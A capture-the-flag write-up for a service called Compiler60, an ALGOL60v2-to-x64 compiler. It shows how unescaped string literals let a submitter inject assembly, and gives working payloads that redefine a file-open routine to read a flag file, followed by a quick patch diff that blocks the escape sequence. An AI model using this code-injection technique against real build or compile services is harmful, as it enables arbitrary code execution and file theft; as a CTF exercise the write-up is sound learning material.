Rating: 4.0

# Compiler60

## Observations
The service takes ALGOL60v2 code, compiles it and runs it. In the compile step, the code is parsed to an AST and this AST is used to generate x64 assembly. This assembly is then assembled and linked to a binary, which gets signed and returned to the user. In the execution step, the server expects a signed binary. If the signature is valid, the binary is executed in a sandboxed environment.

When converting the AST to assembly instructions, string literals are not escaped correctly. The ALGOL60v2 code
```
s := "\\"
.text
mov rax, 1337
#\\"";
```
will result in the assembly code
```
.asciz "\\"
.text
mov rax, 1337
/*\\""
```

As demonstrated, it is possible to escape a string literal context and inject (almost) arbitrary assembly code. This can be used to control the behaviour of the resulting binary.

## Exploitation
In order to get a flag, we need to read a file from a given file path. The path is `/data/<id>`, where `<id>` comes from `teams.json`. The existing functions for opening files do not allow this, so we will redefine one of them:

```
s := "\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
#\\"";
```

The new `openRO` function will call the `open` syscall with a file path and the `O_RDONLY` flag and the `rw-r--r--` mode. We can then call this method and read the flag from the resulting file descriptor. The final payload is the following:

```
'BEGIN'
outstring(readstring(openRO("/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
#\\"")));
'END'
```

During the CTF we used a more verbose version:

```
'BEGIN'
'STRING' s[1000];
'INTEGER' fd;
'STRING' buf[128];
s := "/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
/*\\"";
fd := openRO(s);
buf := readstring(fd);
outstring(buf);
'END'
```

## Patch
The best patch would have been to correct the AST parsing, but it is a CTF challenge and we were lazy, so we just blocked `\\"`. Since that broke one of the examples, we allowed `\\\"`. This was the patch:

```diff
diff --git a/main/java/de/faust/compiler60/CompilerServer.java b/main/java/de/faust/compiler60/CompilerServer.java
index ab7f9a0..06fe1cb 100644
--- a/main/java/de/faust/compiler60/CompilerServer.java
+++ b/main/java/de/faust/compiler60/CompilerServer.java
@@ -46,6 +46,13 @@ public class CompilerServer {
.decode(ByteBuffer.wrap(reqBody))
.toString();

+ if (sourceCode.contains("\\\\\"") && !sourceCode.contains("\\\\\\\"")) {
+ System.out.println("Blocked exploit attempt ---------");
+ System.out.println(sourceCode);
+ System.out.println("---------------------------------");
+ sourceCode = "";
+ }
+
byte[] binary = new Algol60Compiler(sourceCode).compile();

SignedElf signedElf = new SignedElf(binary);
```